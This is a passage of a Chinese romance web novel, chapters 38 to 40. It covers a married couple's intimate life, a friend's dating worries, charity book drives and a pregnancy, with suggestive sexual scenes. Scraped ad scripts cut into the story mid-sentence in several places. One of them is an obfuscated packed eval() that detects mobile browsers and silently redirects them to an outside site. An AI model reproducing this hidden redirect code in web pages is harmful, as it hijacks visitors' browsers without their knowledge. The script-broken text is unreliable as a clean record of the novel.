就见孟逐星挣开他,伏在床上开始左右翻找起什么,“诶真是奇怪,我的手机呢?” 她找得认真,浑然没注意到身后人炽热的目光。 陆宗青盯着看了一会儿,蓦地握住了她的腰,将她抱入了怀里。 “唔,干嘛呀……”孟逐星低声咕哝着,扭过头醉眼迷离地问他,“是不是你把我的手机给藏起来了?” 陆宗青薄唇轻轻亲了下她的唇瓣,“你在我身上找找看。” “抬手,我要检查你的毛衣。” 头顶传来一声轻笑,男人配合地伸展双臂。 孟逐星认真摸索起来,他穿着米色毛衣,摸着很柔软,手指滑进去,触到的是一片紧实有力的肌肉。 从饱满的胸肌到块垒分明的腹肌,再滑过线条深刻的人鱼线,孟逐星的注意力已然被转移,她喘了一下,细长的脖子仰起,任由他薄唇贴近。 陆宗青呼吸发烫,拂过她的耳垂,吻上她的唇,力道比平时重,带着股强势意味。 孟逐星本来就不甚清醒,被他亲了一会儿身子更是如发酵过头的面团一样松软。 额角沁出细密的汗水,朦胧间她看到窗边的轻纱随风而动,月光映在他宽阔的脊背上,像是给他涂了一层圣光。 可他却不是个仁慈的圣人,在她颤着想躲时,他那粗糙长着薄茧的手掌却蛮横地按住了她。 她无处可逃。 视野蓦地变换,孟逐星伏在枕头上,看到了张贴在床头的年画娃娃,两个胖乎乎十分可爱的男娃女娃,正憨态可掬地注视着他们。 她脸上一阵燥热,这还是之前王婶儿送的,希望他们早生贵子,图个吉利。 孟逐星酒意淡了些许,她扭头去看陆宗青,开口想说些什么却语不成声,只看到昏暗光线下,他眼中的情谷欠浓烈深沉,手臂腰腹的肌肉贲张 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,隐隐可以看见道道青筋。 她心口剧烈跳了跳,下一瞬便被他捏住下颌,薄唇吮住了她的唇。 偌大的四合院只住了他们两人,动静再大也不怕,不知过了多久,月亮都爬到别处去了,陆宗青还没结束。 他体力惊人,以前就喜欢抱着她,现在更喜欢了。 孟逐星身体的异能还能给他随时补充能量,他生出的力气再反过来用在她身上,迷迷糊糊间,她不禁想到一个问题—— 这样算是永动机吗? 她真问出了口,陆宗青闻言,低笑出声:“你要是想知道,就多试验几次。” …… 第二天,孟逐星睡到很晚才醒,身体倒没怎么太难受,每回弄完陆宗青都会给她放松按摩,事后服务特别到位,这也让孟逐星没了责怪他的立场。 无论如何,辛苦出力气的是他,她也没吃一点亏。 餐桌上有做好的玉米排骨汤,放在砂锅里的,还一片滚烫,还有她喜欢吃的鸡蛋软煎饼,旁边放了张纸条,字体遒劲:凉了的话就在锅里热一下再吃。 孟逐星犯懒,就着热乎乎的排骨汤把饼子吃了,这才慢悠悠地洗漱换衣服。 在照镜子的时候她才发现自己身上的痕迹未免太多了,星星点点,有深有浅,猛一看有点吓人,还以为是起了疹子。 “属狗的吗,这么喜欢咬人。”她小声嘀咕,脑海中浮现昨夜的零碎片段,耳根泛起绯色,“……像是饿死鬼投胎一样,差点把我给吃了。” 她突然一顿,“难不成我昨天晚上说了什么不该说的,他吃醋生气了?” 凝神想了很久,她也没想起来什么,干脆不再烦心,拎起棉麻手提包装好钥匙和手帕,牵着自行车出了四合院,锁好门直奔北海公园。 昨儿她和莫莉莉约好了一起玩,小姑娘似乎有什么心事,等到地儿了一聊,孟逐星惊得下巴都快要掉下来—— “你说什么?你前阵子去相亲,相亲对象还是李少阳他堂哥?这个世界怎么这么小啊……” 孟逐星神情复杂:“他不知道你之前和李少阳的事儿?” 莫莉莉摇头:“不知道,而且好像他对我还挺满意的,一直邀请我出去玩。” “那你怎么想的?” 莫莉莉烦躁地跺了跺脚,“我也不知道,李闻延他长得也挺好的,工作也不错,比我大两岁,温柔体贴,应该会是个好的结婚对象吧。” 孟逐星小声问:“你不会还对李少阳念念不忘吧?” “那倒不至于,我后来不也交往了两个男朋友吗?” “嗯,都处了没超过三个月。” “那不是因为我工作太忙了吗……”莫莉莉自己也觉得底气不足,“星星,你说我要不要接受他?” 孟逐星笑道:“这要问你自己呀,你对他有感觉吗?结婚可不是儿戏,不能头脑一热冲动做决定的。” 莫莉莉叹气:“我也分不清,他不论是相貌还是品行都很不错,就是在得知他是李少阳的堂哥后,我对他的感觉就很怪……” “总是忍不住想起另一个人?” “嗯,”莫莉莉看着不远处嬉戏打闹的孩童,“奇怪,明明我跟李少阳也没在一起多久啊,我怎么就对他的印象那么深刻呢?” 38. 第 38 章 大学时,李少阳被他家里人弄进了莫莉莉所在的艺术类学校,那里俊男美女特别多,他进去后如鱼得水,很快就因为出色的长相与嘴皮子功夫在学校里小有名气。 爱慕他的女生有不少,其中就有莫莉莉的一个同班同学。 莫莉莉得知后,没少跟她吐槽之前在农场时李少阳的所作所为,但爱情使人盲目,那姑娘还是去跟李少阳表了白,然后就被他直接拒绝了。 姑娘伤心不已,莫莉莉看不下去就去找他,她蛮横地指责他一通,李少阳却抱臂倚在墙根儿下,对她漫不经心地笑:“怎么,在农场那边没骂够我?现在还来?” 他眼皮微敛,神色正经了几分:“我又不认识她,不直接拒绝,难不成还要对她黏黏糊糊惹她误会?” “可你的话也不必说那么直接。” “哦,那你教教我该怎么拒绝别人。” 莫莉莉抿了抿唇:“……” 李少阳见她不说话,笑了一声,作势要走,却在与她擦肩而过后忽地顿下了脚步。 “穿上。” 他脱下了外套递给她,在莫莉莉还没反应过来前迈着长腿离开了。 秋风瑟瑟,他只穿着衬衫长裤的背影显得更加修长。 “搞什么……”莫莉莉一头雾水,她正好觉得有点冷,就套上了他的衣服。 这件衣服是件黑色中长款风衣,她穿在身上直接成了长款,衣袖过长,她不得不卷了两下。 回到宿舍时,有舍友对她挤眉弄眼,问她衣服是哪儿来的,莫莉莉脱下后还没来得及解释,就听到舍友的另一声惊呼:“莉莉,你的裤子怎么脏了一片?” ……醒目的月经血,染污了她的米色裤子。 时隔多年,莫莉莉想起此事仍觉得十分尴尬,“也就是那次之后,我对他的印象有所改观,他虽然嘴贱爱撩拨人,但还是很细心体贴的。” 孟逐星问:“其实我一直都很好奇,你和李少阳某种意义上来说,也算是欢喜冤家了吧?当初冷不丁跟我们说你俩处对象了,我和若楠都特震惊。 可没过多久又听你说你们分开了,当时你还挺伤心的……现在过去那么久了,能不能跟我说说你们当初为啥分手?” 莫莉莉撩了撩头发,皱眉道:“其实也没多大事儿,就是你也知道他是什么脾气,总是喜欢跟女孩子聊天,被我撞见过几回,因此吵架,然后一气之下就分开了……” 她抿唇笑了下,“说起来我和他在一起也是很莫名其妙,有一回下雨,我没带伞在图书馆门口等雨停,他正好看见,就打伞送我回宿舍,被人瞧见后,舍友就开我俩玩笑……后来就稀里糊涂地在一起了。” 莫莉莉的语气很轻,仿佛在说一件很遥远的事。 “那你现在是还喜欢他?” “不,”莫莉莉摇头,“我大概只是有些不甘心,不满自己的初恋开始和结束得都如此仓促。” 孟逐星笑:“别这么在意就好了啊,谈恋爱重要的是让自己开心。” “我也知道总是想着以前的事不好,所以后来也和别人处过对象,本来也把李少阳忘得差不多了,没想到又相亲相到他堂哥……”莫莉莉眉头紧皱,语气认真,“星星,你说他堂哥不会是李少阳派来戏弄我的吧?” “这应该不至于,你们都分手那么久了,少阳也不是那种斤斤计较的小气男人。” “如果你觉得李闻延为人还不错,就跟人家好好相处看看呗,因为少阳的关系而否定人家,未免对他不太公平。” 莫莉莉叹了口气:“我是一点儿都不着急,可我爸妈催我催得要命,整天在家长吁短叹的,好像我没对象是多大的罪过似的。” “老一辈人是这样的,他们的想法比较传统,咱们就随便听听得了。” 两人又吐槽了一会儿生活琐事,骑着自行车在公园附近转了一圈儿,最后去客来顺吃了晚饭。 回家后,孟逐星见陆宗青正伏案工作,她便去煮了一壶红枣枸杞茶,给他倒了一杯,自个儿则拿了账本盘腿坐在他对面,安静看起账来。 这是两人的常态,陆宗青有时候工作忙就带回家里,孟逐星也要盘三个店的流水,按销售情况好坏来调整店里的菜品和商品。 到了九点多,陆宗青收好文件,起身走到她身后,手指按上她的肩,“累不累?” “还好……力道再重一些。” 他手指修长而有力,按起肩颈来特别舒服,孟逐星眯眼享受着他的服侍,听他开口说:“早上我收到了老家来的信,是大伯母寄来的,说大伯父现在身体不太好,希望我能回去看看他。” “唔,你是什么打算?”孟逐星合上账本,扭过头看他。 陆宗青低头亲了她额头一下,俯身像抱孩子一样将她抱在怀里,关上灯朝卧室走去。 他步履沉稳,看着丝毫不费力,孟逐星便心安理得地挂在他身上,手指不老实地揉搓着他的耳垂。 “我想问问你的意见。”他将她放在炕上,拉了下旁边壁灯的开关,暖黄色光洒落在两人头顶。 陆宗青凝着她清丽的脸颊,唇角弯起:“毕竟这么大的事,怎么能不请示一下老婆?” 孟逐星被他盯得脸色微热,嗔了他一眼,“可别赖上我,他是你亲大伯,曾经照顾过你和思甜,如今他生病你去看他也是应该的,只是有一点,我丑话先说在前头——” “之前我听王婶儿闲聊,说起村里的事,你堂兄陆宗民是个懒汉,虽说在父母姐姐们的帮衬下娶了老婆,却好吃懒做很没正行。你回去看大伯时别被他给缠上,我可不是做慈善的。” 陆宗青笑道:“你放心,我不是愚孝的人,大伯他们对我们兄妹如何我心里很清楚,只是尽些该做的孝道而已。” “那你准备什么时候动身?后天就是中秋节了。” “我陪你过完节再走。”陆宗青低头吻上她的唇,“你会想我吗?” 孟逐星还没来得及回答,就听他呢喃般低语:“我会很想你的……想你的这里、这里、还有这儿。” 他的薄唇依次掠过她的眉眼、鼻尖,最后辗转于她的唇角,“星星,我们要好多天不能见到了。” “唔,没关系啊,就当做、小别胜新婚?” 孟逐星笑盈盈地捧住他的脸,“有件事我跟你商量一下呗?” “什么?” “你走之前,要不要去医院做个手术?” “嗯?” 孟逐星杏眼含笑,眼波流转,视线下移,定在了他小腹下,“做一下复通手术呀。” 陆宗青怔了一下,眸光闪了闪,“你是说……当真?!” 难得见他情绪波动如此之大,孟逐星眼中笑意更浓,“骗你是小狗。” “星星!”陆宗青蓦地将她紧拥入怀,声音都有几分轻颤,“你……你做好准备了吗?怎么会突然……” “思想准备是做好了,不过我也不清楚咱们俩的身体状况,你也知道我的身体有些异样,万一怀不上……” “怀不上咱们就不要,你无论怎么样我都爱你。” 孟逐星仰头看着他,“宗青哥你真的不在乎吗?” 要知道,很多男人的繁殖欲是写在基因里的,哪怕不能自然受孕,也要让老婆受尽辛苦折磨人工授.精。 更别说因为妻子无法怀孕而离婚另娶的。 “我只在乎你,”陆宗青抚摸着她的脸,“怀孕生子不是轻松简单的事,你愿意为我生孩子,我已经很开心很满足了。” “如果这个会伤害到你,那我宁愿不要孩子。” “生育损伤肯定是会有的,”孟逐星坦然道,“比如发胖、身材走样、脸变丑,还有些不便明说的隐秘损伤,老实说我也不想生孩子。” “那我就不去做手术。” “你听我说完,我是认真思考权衡利弊后,做出了这个决定。” “如果我们有了孩子,我相信你一定会是个好爸爸,对不对?” 陆宗青眼眶微红,低头亲了下她的眼角,“嗯,我会用我的生命去爱你们。” “那在他们来之前,你先好好爱我。” 孟逐星小腿微屈,脚踩在了他紧绷的腹肌上。 …… 中秋过后,陆宗青做完手术坐上了回老家的火车,孟逐星则整理了些包裹寄给孙佳。 她已经在山区支教了两个多月,前阵子寄信说娃娃们很缺教材、衣服,孟逐星便找了些旧教材分 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 门别类打包好,又去各小区里面动员宣传,也收集到不少旧衣物。 除了寄书籍物资,孟逐星还寄去了一笔钱,邮局的人知道她是老顾客了,见她寄这么多东西,还以为她在山里边有亲戚,听她说只是在尽力帮助别人在做好事,柜台里的工作人员顿时对她肃然起敬。 恰好路过的局长听说此事时,当即将孟逐星请进了办公室。 局长姓齐,是个四十多岁的女性,留着齐肩短发,笑容可亲,问清楚孟逐星事情的来龙去脉后,她提议道:“小孟同志,你想做善事是很好的,只是你一个人的力量毕竟有限,每回寄这么多东西邮费也不少钱,要不我们邮局也出一份力吧?” 孟逐星有点惊讶:“齐局长的意思是?” “我有两个想法,你听听看可不可行。一是在我们邮局设置一个募集点,可以号召大伙儿将家里闲置的书籍、衣物捐赠到邮局,由邮局统一寄到需要的地区。” “二是关于邮费,凡是扶贫救济相关的包裹,我们邮局都按半价计算。” 孟逐星欢喜道:“当然可行了!邮局的人流量多,肯定比我一个人影响更大,就是有一点,齐局长,您这样决定……邮局不会亏吗?” 齐局长笑道:“这个你不必担心,亏损的邮费由我个人承担,不会损害国家的利益。” “您人真善良大方!” “我无儿无女了无牵挂,出点钱也只是想略尽绵力,倒是你年纪不大,却有一颗好善乐施的心。” 孟逐星不好意思地挠了挠头,“没有没有,我也没做什么……” 毕竟她也不知道这些东西寄到山区后,对那里的孩子有没有帮助,又能帮助多少。 但是她想,哪怕是能帮助一个小孩读书上学走出山区,那也是值得的。 “小孟,以后咱们合作愉快。” “嗯!” 齐局长雷厉风行,募捐书籍与衣物的宣传很快就张贴在了邮局内外,这里每天人来人往,消息很快便传了出去。 许多家里有闲置的就整理好送到邮局,齐局长吩咐人认真记录在册,入了后院仓库,等东西够多后再一并寄出。 孙佳所在的山区学校规模不大,很快物资就足够了,孟逐星便通过报纸杂志联系到各地的教育局,依次询问他们是否需要援助,并问清楚具体地址。 这事儿孟逐星里外忙活了七八天,连店里的生意都没太顾上,好在店里都是老员工,没出什么岔子。 晚上她来到王婶儿家吃饭时,马小兰见她瘦了些,不禁问:“星儿,以前你沉迷开店是为了赚钱,现在做这个是图啥呀?” “不图啥,纯行善。” 马小兰:“……富婆姐姐求你对我行行好吧!” 王婶儿嗔怪地敲了她手背一下,“胡说什么呢你这孩子!星星做好事帮助人,你还问人家图什么?坏心眼!” 马小兰嘿嘿笑了声:“我是开玩笑嘛,来星儿给你吃个大鸡腿!” “我是得好好补补,这几天忙坏了。”孟逐星吃得风卷残云,吃饱喝足后她蓦地想起一件事来—— 等等!陆宗青好像是今天回来? 她解释了一下,匆匆往家赶,到门口时她看到了院子里透出来的亮光,心头瞬间一暖,满脸欢喜地进了家。 有水声从浴室里传来,孟逐星循着声音走去,轻轻推开门,见昏暗灯光下,陆宗青正在擦洗身子,旁边是一大盆热水。 她若无其事地走近,唇角的笑却遮掩不住,“怎么没用浴桶洗?” 陆宗青眸光幽幽直盯着她,“嫌麻烦,去哪儿了?要不要一起?” 孟逐星摇头:“我怕冷。” 这会儿已是九月底,夜里凉飕飕的,可他却毫不怕冷,赤着身子在这儿慢条斯理地擦拭着。 孟逐星目光上下挪动,怀疑他是在勾引自己。 “你伤口都好了么?” “好了,要检查一下吗?” 孟逐星脸上一热,咳了一声:“既然你开口了,那我就勉为其难地帮帮你。” 陆宗青轻笑一声,对她张开了双臂,“仔细些。” 孟逐星撩起眼皮看了他一眼,“好呀,顺便再试试你恢复得怎么样。” 39. 第 39 章 昨夜睡得太晚,孟逐星睡饱睁开眼,见窗帘被拉得很严实,室内光线昏暗,特别适合睡觉。 这已然是陆宗青的习惯,生怕她休息不好。 她看了眼墙上的挂钟,已经快11点了,便起床穿衣拉开了窗帘,明亮的阳光一时间有些刺眼,孟逐星眯了眯眼睛,看到了院中正在做引起向上的陆宗青。 “你今儿也不上班吗?”她倚在门口,笑眯眯地看着他。 “嗯,明天再去。” 天气转凉,孟逐星都穿上了薄毛衫,可陆宗青此时却赤着上身,修长紧实的手臂肌肉贲起,青筋若隐若现,胸肌腹肌随着他的动作起伏着。 他一直特别自律,这几年从未停止过锻炼,泛着麦色的肌肤使得他的肌肉线条更加明显。 汗水凝聚成滴,从他眉角的浅淡疤痕缓缓往下,流至下颌,继而如清晨露珠般滴在了他凹陷漂亮的锁骨上。 那里有一枚泛着绯色的牙印。 孟逐星无辜地眨了眨眼,目光继续盯着他,见他紧实精瘦的腰腹起伏收缩,喘息声也比方才重了些,嗯?这是累了,还是被她给看害羞了? 她走近他,肉眼可见地看到他的耳朵变得发红。 孟逐星故意软着嗓子:“宗青哥,你累不累呀?” 这小声儿甜的,听得她都有点把持不住。 果不其然,陆宗青的呼吸声更重了,他在单杠上俯视着她白里透红的小脸,薄唇紧抿:“不累。” 他在她满是崇拜爱慕的目光下,又做了几十个引体向上。 孟逐星见他完全没有停下的意思,怕他受伤累到,赶忙叫停给他递上毛巾:“宗青哥,我饿了,你陪我一起吃饭吧。” “好,等我洗一下。” 陆宗青下了单杠,接过毛巾随意地擦了擦脸,迈着长腿去了浴室。 孟逐星注意到他走路姿势有点异样,目光下移。 “……” 这是想到什么了? 厨房里有他早上买菜做好的饭,还温热着,两人一块吃了,孟逐星问起老家的事,“你大伯身体怎么样?家里一切都还好吧?” “他没啥事儿,就是上了年纪身体有点小毛病,大伯母她说得有点夸大,想着都是骨肉相连的一家人,应该多走动走动,让我回去看看他们而已。” 孟逐星挑眉:“不会这么简单吧?” 之前在农场时、上大学时,他们也没写信过来关切,怎么这会子突然要跟你联络感情了? 陆宗青顿了顿,“他们是听马奶奶说的,得知咱们在北京站住了脚,你又开了三家店,赚了不少钱,所以……” “你给了他们多少?” 陆宗青也没想瞒她,“我给了大伯一百块钱,让他做营养费,大伯母还想让我给更多帮衬宗民,我直接拒绝了,她看着很生气,却也没有发作,仍然做出一副笑模样。” “噗,她估计也没想到你会这么直接,还以为你性子宽厚好拿捏呢。” 陆宗青把剥好的虾肉放在她碗里,笑道:“虽然他是我大伯,但对我们兄妹并不好,我不是任人欺负的老好人,不会被道德亲情所绑架,你尽管放心,我不会让旁人惦记你的财产。” 孟逐星瞟了他一眼,“我又不是小气的人,要是他们真的对你和思甜很好,我早就给他们打很多钱,或者让他们也搬到北京了,可他们不是呀,那我为什么要让不相干的人花我的钱?” “嗯,我老婆最大方了。”陆宗青眼角含笑,“下午我们去市场逛逛吧?天冷了,买点厚衣服棉被给思甜邮过去。” “成啊,顺便再买点肉罐头,上回她说喜欢吃的。” 两人收拾完骑着车子出了门,孟逐星坐在车后座,荡着小腿摇摇晃晃,二八大杠穿行在深秋的古都,鸽子哨呜呜嗡嗡地响起,几片浅黄色树叶打着旋儿地飘落下来,漾碎一路阳光。 买齐所有东西后,两人直奔邮局,孟逐星是邮局的常客了,和柜台的工作人员都很熟悉,她打包好包裹,写好地址付完邮费,就听柜台的大姐打趣道:“小孟,你爱人对你可真在意。” “嗯?” 大姐笑道:“瞧他,你只是在寄个东西,他的视线就一直没离开过你,生怕你会跑了一样。” 孟逐星脸色微热,回头看了眼不远处,陆宗青正倚在门框上,穿着黑裤子灰色夹克,长腿微屈随意舒展着,英俊的脸上神情淡淡,与她目光对上时他轻轻挑了下眉,朝她走了过来。 “怎么了?” “没什么。”孟逐星忙跟大姐挥了挥手,拉着他出了邮局。 “怎么走这么急,你没付钱啊?”陆宗青玩笑道。 孟逐星没说话,抬起头对上他漆黑的眸子。 陆宗青神色微变,“是身体不舒服吗?又……涨了?” “不是。”孟逐星抱住他的腰埋进他怀里,“宗青哥你真的好在意我呀。” 陆宗青心下一松,抚上她柔软的发顶,“嗯,我特别在意你,有时候会想,你要是能变小就好了,我把你放在胸前口袋里,每时每刻都和你在一起。” “变太小还怎么和你睡觉?” 孟逐星说完,意识到这话有点过于孟浪,正要岔开话题,就觉身体一轻,竟被他拦腰抱起,直朝着自行车棚走去。 “干嘛呀……” “回家睡觉。” “……这才几点呀。” “没事,先酝酿酝酿,真睡着时估计也很晚了。” 自行车一骑绝尘,很快就消失在了拐角处。 三点四十,孟逐星被按在了床榻上。 四点半,她中场休息喝了半杯水,又被陆宗青抱着来到了梳妆镜前。 外面的天色渐渐暗了下来,屋里的壁灯亮了又暗,女孩子低声撒娇:“我不喜欢太亮。” 男人轻笑着亲她,“好,都依你。” 可孟逐星却忘了一件事,陆宗青的视力极佳,在夜里也可以清楚视物。 他将她的动情与失态看得一清二楚。 后来孟逐星开始娇声埋怨:“怎么还没好呀?” 陆宗青没回答,低头含住了她的耳垂,在她又一次挣扎着拿脚踩他时,他才倒嘶一声,哑声安抚:“这就好。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 半个小时后,孟逐星手脚发软地躺在床上,脑海中飘过一行字——这完全就是老板给社畜画的大饼! 见她累得狠了,陆宗青也觉得理亏,更加温情小意,打了热水给她细细擦洗,去厨房煮了皮蛋瘦肉粥后又回来给她按摩放松。 在孟逐星小睡了一觉醒来时,他已经盛好了粥放在一旁,晾到不烫嘴。 “饿了吧?吃一点粥?”陆宗青的声音里满是小心翼翼,见她似乎没有很生气,这才略微放下心,端起碗喂她吃起粥来。 孟逐星吃了点东西,精力恢复些许,忍不住道:“你干嘛总是这样呀,一弄就停不下来,也不怕精尽人……” 她蓦地顿住,含水杏眼轻飘飘地瞪了他一眼,“就不能悠着点儿,可持续发展吗?” 陆宗青轻抚她后背,“是我不对,累着你了,不过你不用担心,我的身体如何我心里有数,不会尽,也不会让你守活寡的。” “我弄那么多回是有原因的。” “嗯?” “一是因为我很想你,二是因为如果你能在九十月份怀孕,后面生孩子也能少受点罪,夏天太热冬天太冷都不太合适坐月子……” 孟逐星忍不住笑:“你都想那么远了啊,看来是想做爸爸很久了。” 陆宗青耳根微红,“嗯”了一声,目光直勾勾地看着她:“我没有骗你,你不想要我完全尊重你,只有我们两个人过一辈子也很好,不过我也不瞒你,有时候看到战友或者同事家的孩子,我也会心生羡慕。” “不是你之前跟我说的‘繁殖的冲动’,而是会想,如果有一个遗传了你我特征的小孩子,会是什么样?” “她会不会像你一样聪明漂亮,还是会像我比较沉默寡言。” “我父母走得早,家对我来说没有什么温暖的回忆,我和思甜的童年过得也很苦,当然,你比我们更加不容易。” 陆宗青说着吻了下孟逐星的额头,继续道:“所以我想如果我有个孩子,我会把她当宝贝看待,不会惯坏她,但是会竭尽所能给她最好的一切,让她快快乐乐地长大,也算是对小时候的自己的一种补偿。” 他认真看着她,“我不是想要孩子,我只是想要和你一起生的孩子。” 孟逐星听得心里又软又酸,“我觉得我也有挺多缺点的,你就不怕生一个脾气大很难缠的小魔头出来?” “你辛苦生的,我又怎么会嫌弃。”陆宗青笑着抚摸她的脸颊,“就算真的这样,我也有信心教育好他。” “那就这么说定了啊,以后孩子的吃喝拉撒睡和教育就你来管,我就辛苦一下来管你好了。” 陆宗青低笑出声:“好,都听你的。” 之后两人便沉迷造人。 想来也是身体够好,一个多月后,孟逐星发现自己月经推迟了好多天。 带着忐忑与不确定的心情,她和陆宗青一道去了医院做检查,结果出来的时候两人都愣住了。 陆宗青声音微颤:“我们有孩子了?” 孟逐星一脸懵:“啊?这么快的吗?” 效率未免太高了些…… 40. 第 40 章 得知孟逐星怀孕后,陆宗青整个人就如临大敌,自行车也不让她坐了,小心翼翼地搀扶着她来到路边,招手叫了辆黄包车。 “别忘了自行车……” “我骑车跟在你旁边。” 从医院到家不算远,拉车师傅也很平稳,可陆宗青还是中途提醒了几次:“师傅麻烦慢点儿,我媳妇儿她刚怀孕。” 师傅笑呵呵道:“好嘞,恭喜恭喜!” 陆宗青嘴角上扬:“谢谢。” 到家时,陆宗青付完车费,又进门从家里抓了把糖果出来,“请您吃。” 师傅眼角的笑纹更深,“好嘞,咱也沾沾您二位的喜气!” 黄包车叮铃铃走远,孟逐星忍不住笑:“你干嘛呀,这么显摆嘚瑟。” 陆宗青揽住她走进院子,随手关好门,眼角眉梢是掩饰不住的欢喜,“星星,我太高兴了。” 他兴奋地脸都微红,让孟逐星坐在椅子上休息,想到天凉了木椅子会冰人,赶忙又拿了个厚布软垫垫上,见窗户都还开着,又快步去关了窗。 虽没出门,这一会子的运动步数就大几百了。 见他这么紧张在意自己,孟逐星心里甜丝丝的,笑着安抚道:“宗青哥,你也不用这么焦虑,我现在没什么不适,你就平常心对待就好了。” “那怎么成?”陆宗青给她倒了杯热水,试了下温度,不烫了才递到她手里,又给她切好苹果,“你先喝点水吃点水果,我出去买点东西,很快就回来。” “你去买啥呀?家里的菜不是还有很多?” “我去买些鸡鱼牛肉,给你补补身体。” “……” 孟逐星看着他高大的身影消失在门口,感动之余又有点好笑——他这症状,莫不是有些“怀孕焦虑症”? 不一会儿,陆宗青拎着大包小包回来了,他把东西放到厨房,再过来时就给孟逐星递来了一串冰糖葫芦。 透明糖浆包裹着红彤彤圆溜溜的山楂果,上面还有零星的白芝麻。 “哇,你怎么知道我想吃这个了?”孟逐星欢喜地接过,一口咬了一大颗,十分满足地吃了起来。 “昨天夜里听到你说梦话嘀咕着要吃。” “……咳。”孟逐星被呛了一下。 “慢点,”陆宗青抬手抹了抹她唇角沾住的糖屑,笑道,“还给你买了糖炒栗子、烤红薯,少吃点留点肚子吃饭,我去做很快就好。” “要吃糖醋鱼和红烧牛肉!” “好。” 接下来一段时间,孟逐星没有任何不适,吃嘛嘛香,沾枕头就睡。 尽管如此,陆宗青还是提心吊胆了好多天,甚至夜里睡觉都不放心,夜里醒好几回看她,生怕她有什么难受的地方。 几天下来,孟逐星吃得好睡得足,脸色红润精神焕发,陆宗青则眼底发青,整个人肉眼可见地瘦了许多。 这哪儿成,再这样下去,孩子还没生出来,老公就给整没了。 恐惧来源于未知,孟逐星去书店里买了几本孕期相关的书籍,摆在床头,每晚和陆宗青一起看,接受知识的洗礼后,他明显放松了几分,却又开始为后面几个月担忧: “你现在没什么不舒服,万一之后难受怎么办?你问问你朋友,有没有什么法子可以提前规避?” “我问过若楠了,这种事看体质,有的人没什么反应,有的人确实会受不少罪,这也没办法。” 见他眉头紧蹙,孟逐星伸手将他眉间的“川”字揉开,“好啦,别想那么多了,兵来将挡水来土掩,你再怎么发愁也没有用呀!” “可是我不想你难受……”陆宗青握住她的指尖,在面颊上蹭了蹭,“如果我能替你承受这些就好了。” “嗯?你要替我怀孕呀?” “嗯,我身体比你的结实,耐造,也不怕疼,怎么说都比你更适合生孩子。” 孟逐星噗嗤笑出声:“哈哈哈哈哈,你说得很有道理,不过这辈子你是没希望啦,不如下辈子你来做我媳妇儿,给我生几个可爱小姑娘怎么样?” 说着,她如恶霸一样轻浮地勾了勾他的下巴。 陆宗青低头亲了亲她的指尖,“好,你要几个我都给你生。” 孟逐星被他亲得微痒,哼声道:“空头支票。” “我绝不骗你,”陆宗青将她抱坐在腿上,细细吻她的唇角,“等生完这个,我就去做结扎手术,咱们要一个孩子就够了。” “唔,你确定吗?那里可不是水龙头,想开就开,想关就关的哦。” 陆宗青:“放心,不会影响你使用。” 孟逐星小脸一红:“……你说什么使用,我听不懂。” 陆宗青轻笑着将下巴抵在她颈窝,蓦地嗅了嗅,眼神微亮:“嗯?是又涨了吗?好重的奶味儿。” 孟逐星有点窘迫地缩了缩胸,“不知道为什么,这两天突然变严重了,明明之前都基本上恢复正常了呀……” 陆宗青眸光凝在她胸口,“难道是与怀孕有关?你别动,让我瞧瞧。” “……你又不是医生,你瞧……啊……”孟逐星低呼,“你手别这么用力呀。” “那我换一个方式。” 陆宗青低下头,声音变得含糊不清,“这样呢?有没有好一些?” 孟逐星抱着他的脖颈仰起了头,脸色比刚才又红了几分,“……嗯。” 怎么说,舌头也比手指柔软许多,更别提他特意放柔动作,半是替她解忧,半是为了满足自己。 等她不觉得难受反而被激出某种痒欲时,陆宗青反而抬起了头,他舔了舔湿润的唇瓣,声音沙哑:“好了,该洗澡睡觉了。” 孟逐星:“?” 就这? 见她满脸失望,陆宗青忍不住笑:“现在不行,你要是想,待会儿我给你……” 孟逐星扭过脸不承认,“谁想了。” “我想,”陆宗青沉笑着将她抱起,“是我贪得无厌,勉强星星。” 黏黏糊糊地洗完澡后,孟逐星却觉得身体很疲倦,靠在陆宗青身上由着他给自己擦头发,他修长的手指轻柔穿过发丝,很是舒服,她困意袭来,就这么靠在他怀里睡着了。 意识昏沉之际,她隐约听到他笑着说了句:“欠我一次,以后要还。” 嗯?欠他啥呀? ** 王婶儿和马小兰得知孟逐星怀孕时,两人的反应很不一样,王婶儿满脸是笑一直念佛,“哎哟这可真是太好了!” 马小兰则一脸震惊,围着她尚且平坦的小腹转了两圈,满眼不可置信:“啊?这里有个小宝宝了吗?怎么这么快呀!” 她想伸手去摸摸,被王婶儿嗔怪地打了下手背,“瞎摸啥呀,你要是想要自己生一个。” 马小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13854320|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰嘀咕道:“我一个人咋生啊……” 王婶儿顺势催婚:“所以我让你多跟单位里的人走动走动,保不准人家就有合适的男孩子可以跟你介绍呢!” “嗐,咋又说到我头上来了,”马小兰赶紧扯回话题,关切地问孟逐星,“你有啥不舒服的没?我看我们单位有的女同志怀孕可受老罪了,天天吐,吐得脸都白了,吃饭也没胃口,整个人都瘦了不少。” “我还好,没她那么严重。” 孟逐星没说太多,总不能跟她们说自己不孕吐,反而涨.奶吧?这听起来也太魔幻了。 王婶儿叮嘱了她一番,特地小声强调:“你这头三个月,可不能跟小陆那个……” 马小兰在一旁支棱起耳朵:“妈,你说啥?大点声给我也听听呗。” 王婶儿啐了她一口:“边儿玩去,从小就会瞎打听。” 孟逐星忍笑很辛苦,连忙点头:“我知道的,宗青哥是有分寸的人,不会乱来。” “那就好,”王婶儿又想到一个紧要的事,“到时候孩子落地了,是谁来照顾你坐月子?” 